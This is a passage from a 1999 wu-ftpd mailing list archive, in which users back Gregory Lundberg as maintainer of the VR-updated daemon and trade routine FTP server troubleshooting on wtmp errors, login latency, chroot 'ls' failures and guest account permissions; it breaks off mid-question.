X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Dear All,
My vote goes for Gregory as the new maintainer.
Though would still hope that VR and BeroFTPD can
be merged going forward to provide one single code
base again.
Roger Hanke

>-----Original Message-----
>From: Russ Allbery [SMTP:[email protected]]
>Sent: Wednesday, March 24, 1999 11:52 PM
>To: [email protected]
>Subject: Re: wu-ftpd lastest version
>
>Gregory A Lundberg <[email protected]> writes:
>
>> Are you asking my opinion, or suggesting a course of action?
>
>Good question. Reading over your current stance on this and the way
>you're handling it, I'm content. I think you're dealing with it quite
>well, and agree with your approach.
>
>So I suppose what I'm doing is registering my opinion that you're the
>current maintainer as far as I'm concerned. I'm content to wait and see
>how that develops and let you judge the consensus, as you're in a much
>better place to do so than I am.
>
>> If the consensus is that the VR updates are causing confusion, as much
>> as I dislike it (just as Bernard did), I will change the name to
>> something else as well.
>
>No, I wasn't meaning to imply that. If anything, the presence of a static
>and unchanging 2.4.2 base version is causing confusion. Please don't feel
>like you need to rename your maintenance of the wu-ftpd source base to
>something else.
>
>--
>Russ Allbery ([email protected]) <URL:http://www.eyrie.org/~eagle/>

From [email protected] Thu Mar 25 07:29:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA03395;
Thu, 25 Mar 1999 07:29:25 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA26874;
Thu, 25 Mar 1999 07:24:31 -0600 (CST)
Received: from trex.nist.gov (trex.nist.gov [129.6.17.17])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA31562
for <[email protected]>; Thu, 25 Mar 1999 07:23:50 -0600 (CST)
Received: from localhost (loopback [127.0.0.1]) by trex.nist.gov (AIX4.3/UCB 8.8.8/8.7) with ESMTP id IAA29126 for <[email protected]>; Thu, 25 Mar 1999 08:23:18 -0500
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 08:23:18 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: "Steve D'Angona" <[email protected]>
To: [email protected]
Subject: RE: VR Version: greeting terse keeps version string empty in stat
command
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

I'm using guest accounts and "greeting terse"

a stat command, after login does NOT show the version.

I like it this way!

BTW

I vote for Greg continuing to be the maintainer of wu-ftpd!

From [email protected] Thu Mar 25 07:43:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA03613;
Thu, 25 Mar 1999 07:43:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA02128;
Thu, 25 Mar 1999 07:37:20 -0600 (CST)
Received: from mail01.t-net.net.ve (mail.telcel.net.ve [206.48.41.100])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA21826
for <[email protected]>; Thu, 25 Mar 1999 07:32:18 -0600 (CST)
Received: from telcel.net.ve ([206.48.41.80]) by mail01.t-net.net.ve
(Post.Office MTA v3.5.3 release 223
ID# 557-52511U100000L100000S0V35) with ESMTP id ve
for <[email protected]>; Thu, 25 Mar 1999 13:29:11 +0000
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 09:28:40 +0400
Reply-To: [email protected]
Sender: [email protected]
From: Antonio Ferri <[email protected]>
To: [email protected]
Subject: Error Messages
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: root
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.7 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

Please, I need to know as it is the meaning of these messages of error
and that I must make to correct them:

Mar 21 03:10:47 ftp01 ftpd[19072]: wtmp /usr/adm/wtmp No such file or
directory
Mar 21 03:10:47 ftp01 ftpd[19074]: autogroup: set group msmirror not
found

Thanks and Regards.

*******************************
* Antonio Ferri Charbone *
* Administrador de Sistemas *
* [email protected] *
* Telefono: 014-2019920 *
*******************************

From [email protected] Thu Mar 25 08:42:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA04402;
Thu, 25 Mar 1999 08:42:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA02648;
Thu, 25 Mar 1999 08:36:25 -0600 (CST)
Received: from josef.ifi.unizh.ch (josef.ifi.unizh.ch [130.60.48.10])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA30430
for <[email protected]>; Thu, 25 Mar 1999 08:30:31 -0600 (CST)
Received: from ifi.unizh.ch by josef.ifi.unizh.ch with SMTP (PP)
id <[email protected]>; Thu, 25 Mar 1999 15:30:08 +0100
Received: from localhost by manhattan via ESMTP (8.9.1b+Sun/JAN94.IFI.UNIZH.CH)
for <[email protected]> id PAA21330;
Thu, 25 Mar 1999 15:30:06 +0100 (MET)
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 15:29:58 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: "Denis N. Antonioli" <[email protected]>
To: WU-FTPD Discussion List <[email protected]>
Subject: RE: VR Version: greeting terse keeps version string empty in
statcommand
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 25 Mar 1999, Steve D'Angona wrote:

>
> a stat command, after login does NOT show the version.
>
Whose stat, from your ftp client or from the server? On solaris,
the client has a command by the same name. To get the response from
the server, you need to

ftp> quote stat

Greetings,
dna
- --
Nothing is faked here; everything is ... controlled.
-- The Truman Show

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: latin1

iQCVAwUBNvpIbX7lXFr6ofWlAQE/IAQA6dCIGXW97scJr+Pbic+tvd9gOjdplFU2
+ktVo7/7OXnfHVI5EMSkW6UD578TmA5C31jOgIiX8sFYy1IE6Ug9qctb3fv5X2UT
R5cu+kaZo5jAcsG6pLxaXO7YVtyeGGTGjupR4P8dZy/H0XqXkRS0P//hQPCoawW0
cMoBKgDLA3Q=
=OIn/
-----END PGP SIGNATURE-----

From [email protected] Thu Mar 25 08:47:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA04492;
Thu, 25 Mar 1999 08:47:53 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA28534;
Thu, 25 Mar 1999 08:42:52 -0600 (CST)
Received: from molbio.unmc.edu (molbio.unmc.edu [137.197.214.37])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA26669
for <[email protected]>; Thu, 25 Mar 1999 08:40:12 -0600 (CST)
Received: from windsurf2 (windsurf2.unmc.edu [137.197.214.115])
by molbio.unmc.edu (8.9.1b+Sun/8.9.1) with SMTP id IAA13875
for <[email protected]>; Thu, 25 Mar 1999 08:41:05 -0600 (CST)
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 08:40:45 -0600
Reply-To: [email protected]
Sender: [email protected]
From: Chad Price <[email protected]>
To: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
References: <Gregory A Lundberg's message of "Wed, 24 Mar 1999 23:29:57 -0500 (EST)">
<[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

>Gregory A Lundberg <[email protected]> wrote:
At 11:29 PM 3/24/1999 -0500, you wrote:
>
>In closing: it's your ftp site, your daemon. The problem is in your lap.
>If you decide I'm the maintainer, then I'm the maintainer and nothing Stan
>or wu-stl say will change that.

My vote is to ignore Stan and release your VR series as wu-ftpd-2.5 and the
monthlies as 2.5.1, 2.5.2... until a "significant" change occurs and then
2.6,...

You might want to consider merging lines with Bero, but only if you can do
it in a way which does not break existing configurations.

My $0.02

Chad

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
[email protected]
(402) 559-9527
(402) 559-4077 (FAX)

From [email protected] Thu Mar 25 09:48:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA05344;
Thu, 25 Mar 1999 09:48:15 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA20719;
Thu, 25 Mar 1999 09:41:50 -0600 (CST)
Received: from uswgco3.uswc.uswest.com (uswgco3.uswest.com [206.196.133.82])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA18075
for <[email protected]>; Thu, 25 Mar 1999 09:37:01 -0600 (CST)
Received: from egate.mnet.uswest.com (mailgate.uswc.uswest.com [151.119.130.8])
by uswgco3.uswc.uswest.com (8.8.5/8.8.5) with ESMTP id IAA18613
for <[email protected]>; Thu, 25 Mar 1999 08:36:30 -0700 (MST)
Received: from netmail5.uswc.uswest.com (nmal-ne1.uswc.uswest.com [151.117.81.7]) by egate.mnet.uswest.com (8.8.8/8.8.8) with ESMTP id IAA18367 for <[email protected]>; Thu, 25 Mar 1999 08:36:30 -0700 (MST)
Received: from MCOOK ([148.155.67.222]) by netmail5.uswc.uswest.com
(Netscape Messaging Server 3.52) with SMTP id AAA2470
for <[email protected]>; Thu, 25 Mar 1999 08:36:25 -0700
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 08:36:25 -0700
Reply-To: "Michael Cook" <[email protected]>
Sender: [email protected]
From: "Michael Cook" <[email protected]>
To: "WU-FTP List" <[email protected]>
Subject: Re: wu-ftpd lastest version
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.2106.4
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

All,
Gregory and Bernard ARE the real maintainers at this point. When someone
has a question about wu-ftpd and posts it to the list, who provides help?
Who is dveloping the daemon? The rest is symantics. My vote is that
VR-modified wu-ftpd become wu-ftpd 2.5.x. If this can be combined with Bero
features without breaking existing installations, so much the better.
Michael

>My opinion is that no maintainer is such because he claims it. The
>maintainer is who the users say he is. If the general consensus (or, at
>least, concensus by lack of objection) is that someone else is the
>maintainer; then that person is the maintainer.

From [email protected] Thu Mar 25 10:52:41 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA06416;
Thu, 25 Mar 1999 10:52:40 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA05566;
Thu, 25 Mar 1999 10:47:24 -0600 (CST)
Received: from quaggy.ursine.com (lambda.blueneptune.com [209.133.45.179])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA06326
for <[email protected]>; Thu, 25 Mar 1999 10:41:07 -0600 (CST)
Received: from michael (lambda.ursine.com [209.133.45.69])
by quaggy.ursine.com (8.9.2/8.9.2) with ESMTP id IAA11941
for <[email protected]>; Thu, 25 Mar 1999 08:40:32 -0800 (PST)
(envelope-from [email protected])
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 08:41:08 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Michael Bryan" <[email protected]>
To: [email protected]
Subject: Re: wu-ftpd lastest version
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Mailer: Calypso Evaluation Version 3.00.00.13 (2)
X-MIME-Autoconverted: from quoted-printable to 8bit by wugate.wustl.edu id KAA18128
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

>I have had private suggestions along the lines of what you're suggesting.
>I have also been doing quite a bit of work beyond simply working on the
>code. The results of that work await only one thing: the desire of the
>user community for a change. While some are aware of what else I've been
>working on, I expect most will be pleasently surprised.

Well, you can't expect to offer a lead-in like that and not generate
interest! What exactly is it that you have in mind? Let us know, and
then we'll tell you how we feel about it! (Given your track record, I
suspect the reaction will be quite positive.)

>In closing: it's your ftp site, your daemon. The problem is in your lap.
>If you decide I'm the maintainer, then I'm the maintainer and nothing Stan
>or wu-stl say will change that.

Add me to the list of voices that say you are (and have been) the de-facto
maintainer. Bundle up the VR patches at either VR17 or VR18, and call
it wu-ftpd 2.5, and we'll go on from there. I wish Stan well, he was a good
driving force for quite some time, but it's time the baton was passed on
to somebody who's been active for the last year. Optimally, this should
also get Stan's blessing, and a link from the Academ site to your site, and
I hope that this can happen, but even if it doesn't, I'm fairly certain nearly
everyone will accept you as the official maintainer anyway.

Michael Bryan
[email protected]

From [email protected] Thu Mar 25 10:58:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id KAA06488;
Thu, 25 Mar 1999 10:58:49 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id KAA19783;
Thu, 25 Mar 1999 10:53:51 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id KAA24094
for <[email protected]>; Thu, 25 Mar 1999 10:48:35 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id LAA31565;
Thu, 25 Mar 1999 11:48:28 -0500
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 11:48:28 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Antonio Ferri <[email protected]>
Cc: [email protected]
Subject: Re: Error Messages
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 25 Mar 1999, Antonio Ferri wrote:

For the most precise answer, you will need to provide the version of the
daemon you're running and the operating system/version you're running it
on.

> Mar 21 03:10:47 ftp01 ftpd[19072]: wtmp /usr/adm/wtmp No such file or
> directory

The location of this file is defined to the daemon in (the mess in)
src/pathnames.h

If you are running the VR updated version of wu-ftpd, there is an option
to bypass processing of this file. The effect is that the 'last' command
will not show ftp logins. The option is described in the ftpd manpage
privoded with the VR version.

> Mar 21 03:10:47 ftp01 ftpd[19074]: autogroup: set group msmirror not
> found

You have an autogroup clause in your ftpaccess file which names a group
('msmirror') which does not exist on your system. Either correct the
autogroup clause or create the group in /etc/groups

Very few sites need autogroup and even fewer use it properly. Unless
you're positive it's what you need, the easiest solution is to remove the
autogroup clauses from your ftpaccess file.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 25 13:55:46 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA09165;
Thu, 25 Mar 1999 13:55:45 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA07265;
Thu, 25 Mar 1999 13:50:54 -0600 (CST)
Received: from mets.tcimet.net (news.tci.east-lansing.mi.us [198.109.160.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA23707
for <[email protected]>; Thu, 25 Mar 1999 13:43:52 -0600 (CST)
Received: from hyperion ([198.109.163.245])
by mets.tcimet.net (8.8.5/8.8.5) with SMTP id OAA04205
for <[email protected]>; Thu, 25 Mar 1999 14:43:51 -0500 (EST)
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 14:45:59 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Jhestyr" <[email protected]>
To: "wu-ftpd" <[email protected]>
Subject: problem with logging in
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3155.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

when you connect it says:
socket connected. waiting for welcome message
and then it sits there for like 4 or 5 minutes, and then finally logs you in
any clues what could be causing this?

--
Jhestyr
Dovie' se Tovya Andi
------------------------------------

From [email protected] Thu Mar 25 14:06:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA09323;
Thu, 25 Mar 1999 14:06:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA05335;
Thu, 25 Mar 1999 14:02:06 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA05840
for <[email protected]>; Thu, 25 Mar 1999 14:00:19 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA01241;
Thu, 25 Mar 1999 14:59:57 -0500
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 14:59:57 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jhestyr <[email protected]>
Cc: wu-ftpd <[email protected]>
Subject: Re: problem with logging in
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 25 Mar 1999, Jhestyr wrote:

> socket connected. waiting for welcome message and then it sits there
> for like 4 or 5 minutes, and then finally logs you in any clues what
> could be causing this?

Off the top of my head, without knowing which version you're running or
what system you're running it on, I'd guess DNS latency or AUTH/IDENT
latency.

If it's just network latency, from oneor two sites, I'd say live with it.

The VR upgrades have a compile-time option to completely disable DNS and
all the security features which come along with it.

The VR upgrades enable AUTH/IDENT by default. There's a compile-time
option to disable it.

The best solution for AUTH/IDENT, however, since you're probably testing
from you localhost is to run a idented which talks the talk. Latency
cannot occur if you're not running one at all (unless you're a Windows
box, but then you got worse problems), so someone's there and he ain't
speaking AUTH.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 25 17:47:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA12290;
Thu, 25 Mar 1999 17:47:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA28248;
Thu, 25 Mar 1999 17:42:52 -0600 (CST)
Received: from mesg.pallisersd.ab.ca (pallisersd.ab.ca [199.216.197.2] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA23457
for <[email protected]>; Thu, 25 Mar 1999 17:41:59 -0600 (CST)
Received: from pallisersd.ab.ca ([199.216.196.1]) by mesg.pallisersd.ab.ca
(Netscape Messaging Server 3.01) with ESMTP id AAA897
for <[email protected]>; Thu, 25 Mar 1999 16:29:14 -0700
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 16:42:55 -0700
Reply-To: [email protected]
Sender: [email protected]
From: "Maurice Hollingsworth" <[email protected]>
To: [email protected]
Subject: Chroot on Solaris 2.5.1
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------A35010A673B94ABE43011B61"
X-Mailer: Mozilla 4.03 [en] (Win95; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.
--------------A35010A673B94ABE43011B61
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Given the lack of success I was having with Beta18 and chroot, I opted
to download the source for 2.4.2-v16, compile it and run it on our Sparc
Solaris 2.5.1 box.

2.4.2-v16 runs fine using the same configuration files (with
modification to inetd.conf), but I now am unable to do a 'ls'. I have
copied /bin/ls to ~ftpuser/bin/ls. I've copied all of the libraries
associated with ls (using ldd) across to ~ftpuser/usr/lib. I've created
a ~/ftpuser/dev directory and put a link back to /dev/tcp and /dev/zero.

However, I get the following error message as I try to do an 'ls' once
I've FTP'd into the host:
425 Can't create data socket (0.0.0.0,20): Number of symbolic links
encountered during path
name traversal exceeds MAXSYMLINKS.

Any guidance is appreciated.

Sincerely,

Maurice Hollingsworth

--------------A35010A673B94ABE43011B61
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Maurice Hollingsworth, Ph.D.
Content-Disposition: attachment; filename="vcard.vcf"

begin: vcard
fn: Maurice Hollingsworth, Ph.D.
n: Hollingsworth, Ph.D.;Maurice
org: Palliser Regional Schools
email;internet: [email protected]
title: Director of Information Technology
x-mozilla-cpt: ;0
x-mozilla-html: FALSE
version: 2.1
end: vcard

--------------A35010A673B94ABE43011B61--

From [email protected] Thu Mar 25 18:52:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA13044;
Thu, 25 Mar 1999 18:52:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA26469;
Thu, 25 Mar 1999 18:47:38 -0600 (CST)
Received: from chekov.worldres.com (firewall.worldres.com [207.82.61.1] (may be forged))
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA27092
for <[email protected]>; Thu, 25 Mar 1999 18:43:01 -0600 (CST)
Received: (qmail 24270 invoked from network); 26 Mar 1999 00:30:21 -0000
Received: from unknown (HELO worldres.com) (127.0.0.1)
by 127.0.0.1 with SMTP; 26 Mar 1999 00:30:21 -0000
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 16:30:20 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Guiming Ye <[email protected]>
To: wu-ftpd mailing list <[email protected]>
Subject: ls
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: ming
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi:
I'm setting up wu-ftpd on my Solaris 2.5.1 machine. Everytime I login
the ftp server and type ls. Always show the following error messages.
Any idea? Please help , thank you!

ftp> ls
200 PORT command successful.
425 Can't create data socket (0.0.0.0,20): No such file or directory.

----------------WorldRes, Inc---------------
Guiming Ye
Unix System Administrator
Tel:650-372-1700(176) Fax:650-372-1701
E-mail:[email protected] or [email protected]
--------------------------------------------

From [email protected] Thu Mar 25 19:50:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA13810;
Thu, 25 Mar 1999 19:50:36 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA08613;
Thu, 25 Mar 1999 19:45:49 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA25502
for <[email protected]>; Thu, 25 Mar 1999 19:39:52 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA03968;
Thu, 25 Mar 1999 20:39:41 -0500
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 20:39:41 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Maurice Hollingsworth <[email protected]>
Cc: [email protected]
Subject: Re: Chroot on Solaris 2.5.1
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 25 Mar 1999, Maurice Hollingsworth wrote:

> 425 Can't create data socket (0.0.0.0,20): Number of symbolic
> links encountered during path name traversal exceeds MAXSYMLINKS.

Sounds like a circular symlink. You can make one, for instance, with the
commands:
mkdir circular
ln -s circular/.. circular/link
then ls -alRL the puppy. Keep a finger on Ctrl-C to kill the command!

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Thu Mar 25 19:52:56 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA13863;
Thu, 25 Mar 1999 19:52:55 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA08238;
Thu, 25 Mar 1999 19:48:00 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA26178
for <[email protected]>; Thu, 25 Mar 1999 19:40:41 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA03974;
Thu, 25 Mar 1999 20:40:35 -0500
Message-Id: <[email protected]>
Date: Thu, 25 Mar 1999 20:40:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Guiming Ye <[email protected]>
Cc: wu-ftpd mailing list <[email protected]>
Subject: Re: ls
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Thu, 25 Mar 1999, Guiming Ye wrote:

> 425 Can't create data socket (0.0.0.0,20): No such file or directory.

This is specifically covered in the FAQ.

The location of the latest version of wu-ftpd can be found in the
directory

ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Fri Mar 26 03:17:09 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA18831;
Fri, 26 Mar 1999 03:17:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA00870;
Fri, 26 Mar 1999 03:10:53 -0600 (CST)
Received: from vsaf.lv ([195.244.153.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA26800
for <[email protected]>; Fri, 26 Mar 1999 03:04:33 -0600 (CST)
Received: from nw2.vsaf.lv (nw2.vsaf.lv [10.1.24.58])
by vsaf.lv (8.8.7/8.8.7) with ESMTP id LAA13973
for <[email protected]>; Fri, 26 Mar 1999 11:04:26 +0200 (EET)
Received: from NW2/SpoolDir by nw2.vsaf.lv (Mercury 1.44);
26 Mar 99 11:05:41 +0200
Received: from SpoolDir by NW2 (Mercury 1.44); 26 Mar 99 11:05:30 +0200
Received: from vns (10.1.24.48) by nw2.vsaf.lv (Mercury 1.44);
26 Mar 99 11:05:23 +0200
Message-Id: <[email protected]>
Date: Fri, 26 Mar 1999 11:05:21 +0200
Reply-To: [email protected]
Sender: [email protected]
From: Viesturs Klive <[email protected]>
To: [email protected]
Subject: Problem with WU-FTPd...
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi :-)

I have 3 problems... :-(

I'm useing WU-FTPd - Version wu-2.4.2-academ (1) ... anonymous & real
users work principally ok only i dont understand why links don't work...
when user want get in directory what exactly is a link, server answer - No
such file or directory... what's wrong with these links ??

Second problem - I set up guest user with with root directory /FILES
(/etc/passwd -> files:x:1030:19:Files Special FTP
account,206,,:/files:/bin/true) everything works great but when user logs
then user don't see noone subdirectory but when execut command cd
<subdir-name> it work and user is in that subdirectory. what can be wrong
now ??

This is not a problem but more probably maybe You can something recommend
me. Scenario is like this:
I have 3 users FILES, USER1, USER2 and my directorys/subdirectorys look
like this:

/FILES - (root)
/FILES/IN
/FILES/IN/01
/FILES/IN02
/FILES/OUT
/FILES/OUT/01
/FILES/OUT/02

user - FILES must do with these directorys/subdirectorys and files that are
stored everything, USER1 can do everything only in directorys /FILES/IN/01
and /FILES/OUT/01 but USER2 only in /FILES/IN/02 and /FILES/OUT/02. USER1
can't see what is in USER2 directorys and USER2 can't see what's in USER1
directorys... oki that i can make with group and user directory/file
permissions but problem - when user -FILES store some file in /FILES/IN/01
